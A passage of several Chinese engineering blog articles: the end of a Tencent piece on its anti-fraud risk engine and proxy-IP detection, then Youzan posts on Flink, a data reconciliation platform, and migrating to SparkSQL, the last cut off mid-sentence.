风险引擎的宏观构成2.分类器逻辑框架如何实现风险评估的判定呢？我们以黑分类器为例，来详细剖析下分类器的逻辑框架。系统总体是采用一种矩阵式的逻辑框架。黑分类器最初设计是整体检测判定，即按需随意地建立一个个针对黑产的检测规则、模型。但这种设计出来的结果，发现不是这个逻辑漏过了，而是那个逻辑误伤量大，要对某一类的账号加强安全打击力度，改动起来也非常麻烦。因此，我们最终设计出一套矩阵式的框架（见下图5），较好地解决上述问题。图5 黑分类器的矩阵逻辑框架矩阵的横向采用了Adaboost方法，该方法是一种迭代算法，其核心思想是针对同一个训练集训练不同的弱分类器，然后把这些分类器集合起来，构成一个最终的分类器。而我们这里每一个弱分类器都只能解决一种帐号类型的安全风险判断，集中起来才能解决所有账户的风险检测。这个矩阵逻辑的横向方法，在工程实现上也带来三个好处：1.便于实现轻重分离。比如某平台虚假账号集中在邮箱账号，策略就可以加大对邮箱账号的打击力度，影响范围也局限在邮箱帐号，而不是该平台所有的账号。2.减少模型训练的难度。模型训练最大的难度在于样本的均衡性问题，拆分成子问题，就不需要考虑不同账号类型之间的数据配比、均衡性问题，大大降低了模型训练时正负样本比率的问题。3.逻辑的健壮性。某一个分类器的训练出现了问题，受影响的范围不至于扩展到全局。矩阵纵向则采用了Bagging方法，该方法是一种用来提高学习算法准确度的方法。它在同一个训练集合上构造预测函数系列，然后设法将他们组合成一个预测函数，从而来提高预测结果的准确性。腾讯大数据处理平台－魔方毫无疑问，对抗黑产刷单离不开大数据。大数据一直在安全对抗领域发挥着重要的作用，从我们的对抗经验来看，大数据不仅仅是数据规模很大，而且还包括两个方面：1.数据广度：要有丰富的数据类型。比如，不仅仅要有社交领域的数据、还要有游戏、支付、自媒体等领域的数据，这样就提供了一个广阔的视野让我们来看待黑产的行为特点。2.数据深度：黑产的对抗，我们一直强调纵深防御。不仅仅要有注册数据，还要有登录，以及账号的使用的数据，这样我们才能更好的识别恶意。所以想要做风控和大数据的团队，一定要注意在自己的产品上多埋点，拿到足够多的数据，先沉淀下来。腾讯安全团队研发了一个叫魔方的大数据处理和分析的平台，底层集成了MySQL、MongoDB，Spark、Hadoop等技术，在用户层面我们只需要写一些简单的SQL语句、完成一些配置就可以实现例行分析。这里我们收集了社交、电商、支付、游戏等场景的数据，针对这些数据我们建立一些模型，发现哪些是恶意的数据，并且将数据沉淀下来。沉淀下来的对安全有意义的数据，一方面就存储在魔方平台上，供线下审计做模型使用；另一方面会做成实时的服务，提供给线上的系统查询使用。一.腾讯用户画像沉淀方法用户画像，本质上就是给账号、设备等打标签。但我们这里主要从安全的角度出发来打标签，比如IP画像，我们会标注IP是不是代理IP，这些对我们做策略是有帮助的。我们看看腾讯的IP画像，目前沉淀的逻辑如下图6：图6 IP画像系统构成一般的业务都有针对IP的频率、次数限制的策略，那么黑产为了对抗，必然会大量采用代理IP来绕过限制。既然代理IP的识别如此重要，那我们就以代理IP为例来谈下腾讯识别代理IP的过程。识别一个IP是不是代理IP，技术不外乎就是如下四种：1.反向探测技术：扫描IP是不是开通了80,8080等代理服务器经常开通的端口，显然一个普通的用户IP不太可能开通如上的端口。2.HTTP头部的X_Forwarded_For：开通了HTTP代理的IP可以通过此法来识别是不是代理IP；如果带有XFF信息，该IP是代理IP无疑。3.Keep-alive报文：如果带有Proxy-Connection的Keep-alive报文，该IP毫无疑问是代理IP。4.查看IP上端口：如果一个IP有的端口大于10000，那么该IP大多也存在问题，普通的家庭IP开这么大的端口几乎是不可能的。以上代理IP检测的方法几乎都是公开的，但是盲目去扫描全网的IP，被拦截不说，效率也是一个很大的问题。因此，我们的除了利用网络爬虫爬取代理IP外，还利用如下办法来加快代理IP的收集：通过业务建模，收集恶意IP（黑产使用代理IP的可能性比较大）然后再通过协议扫描的方式来判断这些IP是不是代理IP。每天腾讯都能发现千万级别的恶意IP，其中大部分还是代理IP。二.腾讯用户画像类别概览腾讯用户画像的维度与类别很多，这里仅举部分用户画像数据来说明。比如用户画像其中有手机画像和QQ画像这两个重要类别。涉及画像的标签见下图7：以QQ的画像为例，比如，一个QQ只登录IM、不登录其他腾讯的业务、不聊天、频繁的加好友、被好友删除、QQ空间要么没开通、要么开通了QQ空间但是评论多但回复少，这种号码我们一般会标注QQ养号（色情、营销），类似的我们也会给QQ打上其他标签。标签的类别和明细，需要做风控的人自己去设定，比如：地理位置，按省份标记。性别，按男女标记。其他细致规则以此规律自己去设定。三. 风险判定的基础逻辑有了用户画像的基础数据，我们就可以进行风险判定了。腾讯风险判定的系统现已开放为腾讯云的能力，即天御系统。我们来看一下风险判定的基础逻辑，见下图8：图8 腾讯云天御系统防御逻辑示意图实时防御系统使用C/C++开发实现，所有的数据通过共享内存的方式进行存储，相比其他的系统，安全系统更有他自己特殊的情况，因此这里我们可以使用“有损”的思路来实现，大大降低了开发成本和难度。但这里在安全策略方面，可能会面临一个挑战：多台机器，使用共享内存，如何保障数据一致性？其实，安全策略不需要做到强数据一致性。从安全本身的角度看，风险本身就是一个概率值，不确定，所以有一点数据不一致，不影响全局。但是安全系统也有自己的特点，安全系统一般突发流量比较大，我们这里就需要设置各种应急开关，而且需要微信号、短信等方式方便快速切换，避免将影响扩散到后端系统。电商企业接入天御系统，启用带防刷能力的业务架构通过剖析腾讯对抗“羊毛党”刷单的防刷系统技术架构与原理，我们了解到了天御系统可以帮助咱们电商企业在促销、优惠活动时，有效打击黑产刷单团伙。特别是马上到来的双十一“购物狂欢节”，该系统将让广大电商企业更好地服务用户，真正为用户带来贴心的实惠与好处。天御系统可适应的场景包括但不限于：电商o2o刷单、刷券、刷红包防止虚假账号注册防止用户名、密码被撞库防止恶意登录那么如何接入并使用天御系统呢？其实，电商企业接入天御系统仅需要四步，见下图9：其中：第一步离线数据分析与第二步搭建实时模型为前期的准备工作，第三步正式接入其实并不耗费多少时间，不过第四步上线后，还需要持续的优化，以进一步提高对抗的能力。图9 企业接入天御系统步骤业务接入天御系统后的架构图，见下图10：图10 业务接入天御防刷后的架构图从上图可以看到，接入天御防刷是旁路接入，不需要调整现有业务任何核心逻辑、关键流程，可以快速上线。另外，运行过程中，即使天御防刷有任何异常也不会影响业务主逻辑。Q&AQ：风险学习引擎是自研的，还是使用的开源库？风险学习引擎包括两个部分，线上和线下两部分：线上：自己利用c/c++来实现。线下：涉及利用python开源库来做的，主要是一些通用算法的训练和调优。Q：请问魔方平台中用到的MongDB是不是经过改造？因为MongDB一直不被看好，出现问题也比较多。我们做了部分改造，主要是DB的引擎方面。Q：请问黑分类器和白分类器有什么区别？白分类器主要用来识别正常用户，黑分类器识别虚假用户。Q：风险概率的权重指标是如何考虑的？先通过正负样本进行训练，并且做参数显著性检查；然后，人工会抽查一些参数的权重，看看跟经验是否相符。Q：安全跟风控职责如何区分呢？相比安全，风控的外延更丰富，更注重宏观全局；针对一个公司来讲，风控是包括安全、法务、公关、媒体、客服等在内一整套应急处理预案。Q：如果识别错了，误伤了正常用户会造成什么后果么？比如影响单次操作还是会一直失败。如果识别错了正常用户不会被误伤，但是会导致体验多加了一个环节，如弹出验证码、或者人工客服核对等。作者：颜国平，原腾讯云－天御系统研发负责人。一直负责腾讯自有验证码、业务安全、防刷、账号安全等研发工作。内部支持的产品（游戏、电商、腾讯投资的O2O企业）非常广泛。在业务安全领域项目经验丰富，并且具备深度学习、大数据架构搭建等实战经验。此文已由腾讯云+社区在各渠道发布获取更多新鲜技术干货，可以关注我们腾讯云技术社区-云加社区官方号及知乎机构号

Flink 在有赞实时计算的实践

一、前言这篇主要由五个部分来组成：首先是有赞的实时平台架构。其次是在调研阶段我们为什么选择了 Flink。在这个部分，主要是 Flink 与 Spark 的 structured streaming 的一些对比和选择 Flink 的原因。第三个就是比较重点的内容，Flink 在有赞的实践。这其中包括了我们在使用 Flink 的过程中碰到的一些坑，也有一些具体的经验。第四部分是将实时计算 SQL 化，界面化的一些实践。最后的话就是对 Flink 未来的一些展望。这块可以分为两个部分，一部分是我们公司接下来会怎么去更深入的使用 Flink，另一部分就是 Flink 以后可能会有的的一些新的特性。二、有赞实时平台架构有赞的实时平台架构呢有几个主要的组成部分。首先，对于实时数据来说，一个消息中间件肯定是必不可少的。在有赞呢，除了业界常用的 Kafka 以外，还有 NSQ。与 Kafka 有别的是，NSQ 是使用 Go 开发的，所以公司封了一层 Java 的客户端是通过 push 和 ack 的模式去保证消息至少投递一次，所以 Connector 也会有比较大的差距，尤其是实现容错的部分。在实现的过程中呢，参考了 Flink 官方提供的 Rabbit MQ 的连接器，结合 NSQ client 的特性做了一些改造。接下来就是计算引擎了，最古老的就是 Storm 了，现在依然还有一些任务在 Storm 上面跑，至于新的任务基本已经不会基于它来开发了，因为除了开发成本高以外，语义的支持，SQL 的支持包括状态管理的支持都做得不太好，吞吐量还比较低，将 Storm 的任务迁移到 Flink 上也是我们接下来的任务之一。还有呢就是 Spark Streaming 了，相对来说 Spark 有一个比较好的生态，但是 Spark Streaming 是微批处理的，这给它带来了很多限制，除了延迟高以外还会比较依赖外部存储来保存中间状态。 Flink 在有赞是比较新的引擎，为什么在有了 Spark 和 Storm 的情况下我们还要引入 Flink 呢，下一个部分我会提到。存储引擎，除了传统的 MySQL 以外，我们还使用 HBase ，ES 和 ZanKV。ZanKV 是我们公司开发的一个兼容 Redis 协议的分布式 KV 数据库，所以姑且就把它当成 Redis 来理解好了。实时 OLAP 引擎的话基于 Druid，在多维的统计上面有非常好的应用。最后是我们的实时平台。实时平台提供了集群管理，项目管理，任务管理和报警监控的功能。。关于实时平台的架构就简单介绍到这里，接下来是 Flink 在有赞的探索阶段。在这个部分，我主要会对比的 Spark Structured Streaming。三、为什么选择引入 Flink 至于为什么和 Spark Structured Streaming(SSS) 进行对比呢？因为这是实时SQL化这个大背景下比较有代表性的两个引擎。首先是性能上，从几个角度来比较一下。首先是延迟，毫无疑问，Flink 作为一个流式引擎是优于 SSS 的微批引擎的。虽然说 Spark 也引入了一个连续的计算引擎，但是不管从语义的保证上，还是从成熟度上，都是不如 Flink 的。据我所知，他们是通过将 rdd 长期分配到一个结点上来实现的。其次比较直观的指标就是吞吐了，这一点在某些场景下 Flink 略逊于 Spark 。但是当涉及到中间状态比较大的任务呢，Flink 基于 RocksDB 的状态管理就显示出了它的优势。 Flink 在中间状态的管理上可以使用纯内存，也可以使用 RocksDB 。至于 RocksDB ，简单点理解的话就是一个带缓存的嵌入式数据库。借助持久化到磁盘的能力，Flink 相比 SSS 来说可以保存的状态量大得多，并且不容易OOM。并且在做 checkpoint 中选用了增量模式，应该是只需要备份与上一次 checkpoint 时不同的 sst 文件。使用过程中，发现 RocksDB 作为状态管理性能也是可以满足我们需求的。聊完性能，接下来就说一说 SQL 化，这也是现在的一个大方向吧。我在开始尝试 SSS 的时候，尝试了一个 SQL 语句中有多个聚合操作，但是却抛了异常。后面仔细看了文档，发现确实这在 SSS 中是不支持的。第二个是 distinct 也是不支持的。这两点 Flink 是远优于 SSS 的。所以从实时 SQL 的角度，Flink 又为自己赢得了一票。除此之外，Flink 有更灵活的窗口。还有输出的话，同样参考的是 DataFlow 模型，Flink 实现支持删除并更新的操作，SSS 仅支持更新的操作。(这边 SSS 是基于 Spark 的 2.3版本)API 的灵活性。在 SSS 中，诚然 table 带来了比较大的方便，但是对于有一些操作依然会想通过 DStream 或者 rdd 的形式来操作，但是 SSS 并没有提供这样的转换，只能编写一些 UDF。但是在 Flink 中，Table 和 DataStream 可以灵活地互相转换，以应对更复杂的场景。四、Flink在有赞的实践在真正开始使用 Flink 之前呢，第一个要考虑的就是部署的问题。因为现有的技术栈，所以选择了部署在 Yarn 上，并且使用的是 Single Job 的模式，虽然会有更多的 ApplicationMaster，但无疑是增加了隔离性的。4.1 问题一: FLINK-9567在开始部署的时候我遇到了一个比较奇怪的问题。先讲一下背景吧，因为还处于调研阶段，所以使用的是 Yarn 的默认队列，优先级比较低，在资源紧张的时候也容易被抢占。有一个上午，我起了一个任务，申请了5个 Container 来运行 TaskExecutor ，一个比较简单地带状态的流式任务，想多跑一段时间看看稳定不稳定。这个 Flink 任务最后占了100多个 container，还在不停增加，但是只有五个 Container 在工作，其他的 container 都注册了 slot，并且 slot 都处于闲置的状态。以下两张图分别代表正常状态下的任务，和出问题的任务。出错后在涉及到这个问题细节之前，我先介绍一下 Flink 是如何和 Yarn 整合到一块的。根据下图，我们从下往上一个一个介绍这些组件是做什么的。TaskExecutor 是实际任务的执行者，它可能有多个槽位，每个槽位执行一个具体的子任务。每个 TaskExecutor 会将自己的槽位注册到 SlotManager 上，并汇报自己的状态，是忙碌状态，还是处于一个闲置的状态。SlotManager 既是 Slot 的管理者，也负责给正在运行的任务提供符合需求的槽位。还记录了当前积压的槽位申请。当槽位不够的时候向Flink的ResourceManager申请容器。Pending slots 积压的 Slot 申请及计数器Flink 的 ResourceManager 则负责了与 Yarn 的 ResourceManager 进行交互，进行一系列例如申请容器，启动容器，处理容器的退出等等操作。因为采用的是异步申请的方式，所以还需要记录当前积压的容器申请，防止接收过多容器。Pending container request 积压容器的计数器AMRMClient 是异步申请的执行者，CallbackHandler 则在接收到容器和容器退出的时候通知 Flink 的 ResourceManager。Yarn 的 ResourceManager 则像是一个资源的分发器，负责接收容器请求，并为 Client 准备好容器。这边一下子引入的概念有点多，下面我用一个简单地例子来描述一下这些组件在运行中起到的角色。首先，我们的配置是3个 TaskManager，每个 TaskManager 有两个 Slot，也就是总共需要6个槽位。当前已经拥有了4个槽位，任务的调度器向 Slot 申请还需要两个槽位来运行子任务。这时 SlotManager 发现所有的槽位都已经被占用了，所以它将这个 slot 的 request 放入了 pending slots 当中。所以可以看到 pending slots 的那个计数器从刚才的0跳转到了现在的2. 之后 SlotManager 就向 Flink 的 ResourceManager 申请一个新的 TaskExecutor，正好就可以满足这两个槽位的需求。于是 Flink 的 ResourceManager 将 pending container request 加1，并通过 AMRM Client 去向 Yarn 申请资源。当 Yarn 将相应的 Container 准备好以后，通过 CallbackHandler 去通知 Flink 的 ResourceManager。Flink 就会根据在每一个收到的 container 中启动一个 TaskExecutor ，并且将 pending container request 减1，当 pending container request 变为0之后，即使收到新的 container 也会马上退回。当 TaskExecutor 启动之后，会向 SlotManager 注册自己的两个 Slot 可用，SlotManager 便会将两个积压的 SlotRequest 完成，通知调度器这两个子任务可以到这个新的 TaskExecutor 上执行，并且 pending requests 也被置为0. 到这儿一切都符合预期。那这个超发的问题又是如何出现的呢？首先我们看一看这就是刚刚那个正常运行的任务。它占用了6个 Slot。如果在这个时候，出现了一些原因导致了 TaskExecutor 非正常退出，比如说 Yarn 将资源给抢占了。这时 Yarn 就会通知 Flink 的 ResourceManager 这三个 Container 已经异常退出。所以 Flink 的 ResourceManager 会立即申请三个新的 container。在这儿会讨论的是一个 worst case，因为这个问题其实也不是稳定复现的。CallbackHandler 两次接收到回调发现 Container 是异常退出，所以立即申请新的 Container，pending container requests 也被置为了3.如果在这时，任务重启，调度器会向 SlotManager 申请6个 Slot，SlotManager 中也没有可用 Slot，就会向 Flink 的 ResourceManager 申请3个 Container，这时 pending container requests 变为了6.最后呢结果就如图所示，起了6个 TaskExecutor，总共12个 Slot，但是只有6个是被正常使用的，还有6个一直处于闲置的状态。在修复这个问题的过程中，我有两次尝试。第一次尝试，在 Container 异常退出以后，我不去立即申请新的 container。但是问题在于，如果 Container 在启动 TaskExecutor 的过程中出错，那么失去了这种补偿的机制，有些 Slot Request 会被一直积压，因为 SlotManager 已经为它们申请了 Container。第二次尝试是在 Flink 的 ResourceManager 申请新的 container 之前先去检查 pending slots，如果当前的积压 slots 已经可以被积压的 container 给满足，那就没有必要申请新的 container 了。4.2 问题二: 监控我们使用过程中踩到的第二个坑，其实是跟延迟监控相关的。例子是一个很简单的任务，两个 source，两个除了 source 之外的 operator，并行度都是2. 每个 source 和 operator 它都有两个子任务。任务的逻辑是很简单，但是呢当我们打开延时监控。即使是这么简单的一个任务，它会记录每一个 source 的子任务到每一个算子的子任务的延迟数据。这个延迟数据里还包含了平均延迟，最大延迟，百分之99的延迟等等等等。那我们可以得出一个公式，延迟数据的数量是 source 的子任务数量乘以的 source 的数量乘以算子的并行度乘以算子的数量。N = n(subtasks per source) n(sources) n(subtasks per operator) * n(operator)这边我做一个比较简单地假设，那就是 source 的子任务数量和算则的子任务数量都是 p - 并行度。从下面这个公式我们可以看出，监控的数量随着并行度的上升呈平方增长。N = p^2 n(sources) n(operator)如果我们把上个任务提升到10个并行度，那么就会收到400份的延迟数据。这可能看起来还没有太大的问题，这貌似并不影响组件的正常运行。但是，在 Flink 的 dev mailing list 当中，有一个用户反馈在开启了延迟监控之后，JobMaster 很快就会挂掉。他收到了24000+的监控数据，并且包含这些数据的 ConcurrentHashMap 在内存中占用了1.6 G 的内存。常规情况 Flink 的 JobMaster 时会给到多少内存，我一般会配1-2 g，最后会导致长期 FullGC 和 OOM 的情况。那怎么去解决这个问题呢？当延迟监控已经开始影响到系统的正常工作的时候，最简单的办法就是把它给关掉。可是把延时监控关掉，一方面我们无法得知当前任务的延时，另一方面，又没有办法去针对延时做一些报警的功能。所以另一个解决方案就如下。首先是 Flink-10243，它提供了更多的延迟监控粒度的选项，从源头上减少数量。比如说我们使用了 Single 模式去采集这些数据，那它只会记录每个 operator 的子任务的延迟，忽略是从哪个 source 或是 source 的子任务中来。这样就可以得出这样一个公式，也能将之前我们提到的十个并行度的任务产生的400个延时监控降低到了40个。这个功能发布在了1.7.0中，并且 backport 回了1.5.5和1.6.2. 此外，Flink-10246 提出了改进 MetricQueryService。它包含了几个子任务，前三个子任务为监控服务建立了一个专有的低优先级的 ActorSystem，在这里可以简单的理解为一个独立的线程池提供低优先级的线程去处理相关任务。它的目的也是为了防止监控任务影响到主要的组件。这个功能发布在了1.7.0中。还有一个就是 Flink-10252，它还依旧处于 review 和改进当中，目的是为了控制监控消息的大小。 4.3 具体实践一接下来会谈一下 Flink 在有赞的一些具体应用。首先是 Flink 结合 Spring。为什么要将这两者做结合呢，首先在有赞有很多服务都只暴露了 Dubbo 的接口，而用户往往都是通过 Spring 去获取这个服务的 client，在实时计算的一些应用中也是如此。另外，有不少数据应用的开发也是 Java 工程师，他们希望能在 Flink 中使用 Spring 以及生态中的一些组件去简化他们的开发。用户的需求肯定得得到满足。接下来我会讲一些错误的典型，以及最后是怎么去使用的。第一个错误的典型就是在 Flink 的用户代码中启动一个 Spring 环境，然后在算子中取调用相关的 bean。但是事实上，最后这个 Spring Context 是启动在 client 端的，也就是提交任务的这一端，在图中有一个红色的方框中间写着 Spring Context 表示了它启动的位置。可是用户在实际调用时确实在 TaskManager 的 TaskSlot 中，它们都处在不同的 jvm，这明显是不合理的。所以呢我们又遇到了第二个错误。第二个错误比第一个错误看起来要好多了，我们在算子中使用了 RichFunction，并且在 open 方法中通过配置文件获取了一个 Spring Context。但是先不说一个 TaskManager 中启动几个 Spring Context 是不是浪费，一个 Jvm 中启动两个 Spring Context 就会出问题。可能有用户就觉得，那还不简单，把 TaskSlot 设为1不就行了。可是还有 OperatorChain 这个机制将几个窄依赖的算子绑定到一块运行在一个 TaskSlot 中。那我们关闭 OperatorChain 不就行了？还是不行，Flink可能会做基于 CoLocationGroup 的优化，将多个 subtask 放到一个 TaskSlot 中轮番执行。但其实最后的解决方案还是比较容易的，无非是使用单例模式来封装 SpringContext，确保每个jvm中只有一个，在算子函数的 open 方法中通过这个单例来获取相应的 Bean。可是在调用 Dubbo 服务的时候，一次响应往往最少也要在10 ms 以上。一个 TaskSlot 最大的吞吐也就在一千，可以说对性能是大大的浪费。那么解决这个问题的话可以通过异步和缓存，对于多次返回同一个值的调用可以使用缓存，提升吞吐我们可以使用异步。4.4 具体实践二可是如果想同时使用异步和缓存呢？刚开始我觉得这是一个挺容易实现的功能，但在实际写 RichAsyncFunction 的时候我发现并没有办法使用 Flink 托管的 KeyedState。所以最初想到的方法就是做一个类似 LRU 的 Cache 去缓存数据。但是这完全不能借助到 Flink 的状态管理的优势。所以我研究了一下实现。为什么不支持呢？当一条记录进入算子的时候，Flink 会先将 key 提取出来并将 KeyedState 指向与这个 key 关联的存储空间，图上就指向了 key4 相关的存储空间。但是如果此时 key1 关联的异步操作完成了，希望把内容缓存起来，会将内容写入到 key4 绑定的存储空间。当下一次 key1 相关的记录进入算子时，回去 key1 关联的存储空间查找，可是根本找不到数据，只好再次请求。所以解决的方法是定制一个算子，每条记录进入系统，都让它指向同一个公用 key 的存储空间。在这个空间使用 MapState 来做缓存。最后算子运行的 function 继承 AbstractRichFunction 在 open 方法中来获取 KeyedState，实现 AsyncFunction 接口来做异步操作。五、实时计算 SQL 化与界面化最早我们使用 SDK 的方式来简化 SQL 实时任务的开发，但是这对用户来说也不算非常友好，所以现在讲 SQL 实时任务界面化，用 Flink 作为底层引擎去执行这些任务。在做 SQL 实时任务时，首先是外部系统的抽象，将数据源和数据池抽象为流资源，用户将它们数据的 Schema 信息和元信息注册到平台中，平台根据用户所在的项目组管理读写的权限。在这里消息源的格式如果能做到统一能降低很多复杂度。比如在有赞，想要接入的用户必须保证是 Json 格式的消息，通过一条样例消息可以直接生成 Schema 信息。接下来是根据用户选择的数据源和数据池，获取相应的 Schema 信息和元信息，在 Flink 任务中注册相应的外部系统 Table 连接器，再执行相应的 SQL 语句。在 SQL 语义不支持的功能上尽量使用 UDF 的方式来拓展。有数据源和数据池之间的元信息，还可以获取实时任务之间可能存在的依赖关系，并且能做到整个链路的监控六、未来与展望Flink 的批处理和 ML 模块的尝试，会跟 Spark 进行对比，分析优劣势。目前还处于调研阶段，目前比较关注的是 Flink 和 Hive的结合，对应 FLINK-10566 这个 issue。从 Flink 的发展来讲呢，我比较关注并参与接下来对于调度和资源管理的优化。现在 Flink 的调度和任务执行图是耦合在一块的，使用比较简单地调度机制。通过将调度器隔离出来，做成可插拔式的，可以应用更多的调度机制。此外，基于新的调度器，还可以去做更灵活的资源补充和减少机制，实现 Auto Scaling。这可能在接下来的版本中会是一个重要的特性。对应 FLINK-10404 和 FLINK-10429 这两个 issue。最后打个小广告，有赞大数据团队基础设施团队，主要负责有赞的数据平台(DP), 实时计算(Storm, Spark Streaming, Flink)，离线计算(HDFS,YARN,HIVE, SPARK SQL)，在线存储（HBase），实时 OLAP(Druid) 等数个技术产品，欢迎感兴趣的小伙伴联系 yangshimin@youzan.com ...

有赞业务对账平台的探索与实践

一、引子根据CAP原理，分布式系统无法在保证了可用性（Availability）和分区容忍性（Partition）之后，继续保证一致性（Consistency）。我们认为，只要存在网络调用，就会存在调用失败的可能，系统之间必然存在着长或短的不一致状态。在服务化流行的今天，怎样及时发现系统服务间的不一致状态，以及怎样去量化衡量一个系统的数据一致性，成为每个分布式环境下的开发者需要考虑并解决的问题。二、背景以交易链路为例，存在着如下一些潜在的不一致场景：订单支付成功了，但是订单状态却还是“待付款”物流已经发货了，但是订单上面还是“待发货”银行退款已经到账了，但是订单上面还是“退款中”订单发货已经超过7天了，但是却没有自动完成…上述每个业务场景，都可能产生用户反馈，给用户带来困扰。业务对账平台的核心目的，就是及时发现类似问题，并及时修复。使问题在反馈前即被提前处理。三、挑战那么一个业务对账平台，会面临着哪些挑战？我们对于一个业务对账平台的核心诉求，主要包括要方便业务系统快速接入，要能处理业务方海量的数据，并保证一定的实时性。这会深刻影响业务对账平台的系统设计。四、架构从局部到整体，本文先从解决上面三个问题的角度，来看有赞业务对账平台的局部设计，再来看整体系统结构。4.1 易于接入我们认为所有的对账流程，都可以分解为“数据加载”、“转换解析”、“对比”、“结果处理”这 4 步。为了适应多样化的业务场景，其中的每一步都需要做到可编排，放置各种差异化的执行组件。在每一个流程节点，需要通过规则可以自由选择嵌入哪个组件。其次，需要把数据从原始格式，转换到对账的标准格式（基于标准格式，就能做标准的通用对比器）。总结起来，我们认为对账引擎需要具备以下的能力：流程编排能力规则能力插件化接入能力目前业务对账平台的对账引擎结构如下：其中的 ResourceLoader 、 Parser 、 Checker 、 ResultHandler 均为标准接口，所有实现了对应接口的 spring bean ，都能被编排到对账流程之中，包括业务方自己实现的 plugin。这样就实现了插件化和可编排。每个流程节点的功能如下：ResourceLoader ：基于各种数据源（DB、FILE、RPC、REST等）提供加载器工厂，加载各个数据源的原始数据。加载的方式支持驱动加载、并行加载、多方加载等方式。业务方也可以自己实现加载器，利用流程编排能力嵌入到对账流程中。Parser ：对已加载的原始数据进行建模，转换为对账标准模型。利用规则引擎，提供脚本化（Groovy）的转换方式。Checker ：按照配置对指定字段、按指定规则进行比较，并产生对账结果。支持 findFirst（找出第一个不一致）、full（找出所有不一致）等对比策略。ResultHandler ：使用指定的handler对结果进行处理，常见的处理器包括持久化、发送报警邮件、甚至直接修复数据等等。通过统一的 facade，将整个对账流程进行串联。在执行不同节点时，根据配置选择不同的默认组件或者插件来执行。可以在管理后台，对每个流程节点进行编排：4.2 高吞吐量一些离线定时对账场景，单次对账的数据量可能达到百万级，甚至千万级。这对对账平台的吞吐量造成了挑战。我们面对海量数据问题的通常解决思路，就是“拆”。分布式任务拆分+单机内任务拆分，将数据块变小。同时，也可以利用一些大数据的工具来帮我们减轻负担。目前的对账有 2 种模式：一种常规模式，是通过数据平台（包含了所有要进行对账的原始主键数据，如订单号）将数据 push 到对账中心的 DB ，然后订单中心集群通过分片策略，并按分页分批加载，加载数据进行对比。另一种，则是当数据量超过千万时，利用数据平台的 spark 引擎从 hive 表中获取数据，然后投递到 nsq（自研消息队列）。nsq 会选择其中一个 consumer 进行投递（不会投递到多个consumer）。这样千万级的数据会变成消息被分散的对账服务器执行。对账任务一般会选择在业务量较小的凌晨进行，是因为在对账过程中会需要通过反查业务接口，来获取实时数据。而更好的情况是，对账时能去除对业务接口的反查。因此，会需要对业务数据进行准实时同步，提前进入对账中心的 DB 集群。主要思路是基于业务 DB 的 binlog 日志或者业务系统自身的消息，进行数据同步。后续流程则类似。4.3 高实时性一些特定的业务场景，比如买家已经付款成功了，但是由于银行第三方的支付状态回调延迟，导致订单状态还是待付款。这种情况，买家会比较焦急，可能产生投诉。面对这样一些场景，就需要进行实时对账，也可以叫做秒级对账。秒级对账往往基于业务消息进行触发，需要在事件触发后的短时间内执行完对账任务。且事件消息的触发，往往具有高并发的特点，因此需要相应的架构来进行支持。设计中主要加入了 EventPool 来缓冲处理高并发的事件消息，并加入限流、取样、路由、处理的 pipeline。同时在进入事件处理线程池之前，需要进入阻塞队列，避免大量的请求直接耗尽线程资源，同时实现事件处理的异步化。处理线程批量定时从阻塞队列获取任务来执行。同时，利用延迟阻塞队列，还可以实现延迟对账的特性。（我们认为出现不一致的情况时，如果立即去进行对比，往往还是不一致的。所以就需要根据情况，在事件发生后的一段时间内，再触发对比）4.4 整体设计上面介绍了业务对账平台的各个局部设计，下面来看下整体结构。整体上主要采用调度层+对账引擎(core+plugin)+基础设施的分层架构。调度层主要负责任务触发、任务拆分、调度；对账引擎则负责执行可编排的对账流程；基础设置层则提供规则引擎、流程引擎、泛化调用、监控等基础能力。五、健康度对账中心可以拿到业务系统及其所在整个链路的数据一致性信息。基于此，对账平台具备了给予业务系统和链路健康度反馈的能力。六、共建前面有提到，对账的流程被拆分为四个固定的流程节点，且有四个对应的标准接口。通过流程引擎和规则引擎的能力，可以根据 spring bean name，来将系统默认组件或者插件编排到对账流程之中。基于这种开放性的设计，业务对账平台支持与业务团队进行共建。首先，对账平台提供标准接口的 API jar 包，业务方通过引入 jar，实现相关接口，并将 impl 打包。这样，对账平台通过 spi 的方式，可以引入业务方的插件包，并加载到对账中心的 JVM 中执行。七、未来业务对账平台，是面向业务场景建立，但同时属于数据密集型应用。平台上线以来，已经接入公司各团队数十个对账任务，每天处理千万级的数据。展望未来，业务对账平台的使命会从主要进行离线数据分析处理，演进到利用应用系统的健康度数据帮助系统进行实时调整的方向。在分布式环境下，没有人能回避数据一致性问题，我们对此充满着敬畏。欢迎联系 zhangchaoyue@youzan.com，交流心得。

SparkSQL 在有赞的实践

前言有赞数据平台从2017年上半年开始，逐步使用 SparkSQL 替代 Hive 执行离线任务，目前 SparkSQL 每天的运行作业数量5000个，占离线作业数目的55%，消耗的 cpu 资源占集群总资源的50%左右。本文介绍由 SparkSQL 替换 Hive 过程中碰到的问题以及处理经验和优化建议，包括以下方面的内容：有赞数据平台的整体架构。SparkSQL 在有赞的技术演进。从 Hive 到 SparkSQL 的迁移之路。一. 有赞数据平台介绍首先介绍一下有赞大数据平台总体架构：如下图所示，底层是数据导入部分，其中 DataY 区别于开源届的全量导入导出工具 alibaba/DataX，是有赞内部研发的离线 Mysql 增量导入 Hive 的工具，把 Hive 中历史数据和当天增量部分做合并。DataX / DataY 负责将 Mysql 中的数据同步到数仓当中，Flume 作为日志数据的主要通道，同时也是 Mysql binlog 同步到 HDFS 的管道，供 DataY 做增量合并使用。第二层是大数据的计算框架，主要分成两部分：分布式存储计算和实时计算，实时框架目前主要支持 JStorm，Spark Streaming 和 Flink，其中 Flink 是今年开始支持的；而分布式存储和计算框架这边，底层是 Hadoop 和 Hbase，ETL主要使用 Hive 和 Spark，交互查询则会使用 Spark，Presto，实时 OLAP 系统今年引入了 Druid，提供日志的聚合查询能力。第三层是数据平台部分，数据平台是直接面对数据开发者的，包括几部分的功能，数据开发平台，包括日常使用的调度，数据传输，数据质量系统；数据查询平台，包括ad-hoc查询以及元数据查询。有关有赞数据平台的详细介绍可以参考往期有赞数据平台的博客内容。　二. SparkSQL技术演进从2017年二季度，有赞数据组的同学们开始了 SparkSQL 方面的尝试，主要的出发点是当时集群资源是瓶颈，Hive 跑任务已经逐渐开始乏力，有些复杂的 SQL，通过 SQL 的逻辑优化达到极限，仍然需要几个小时的时间。业务数据量正在不断增大，这些任务会影响业务对外服务的承诺。同时，随着 Spark 以及其社区的不断发展，Spark 及 Spark SQL 本身技术的不断成熟，Spark 在技术架构和性能上都展示出 Hive 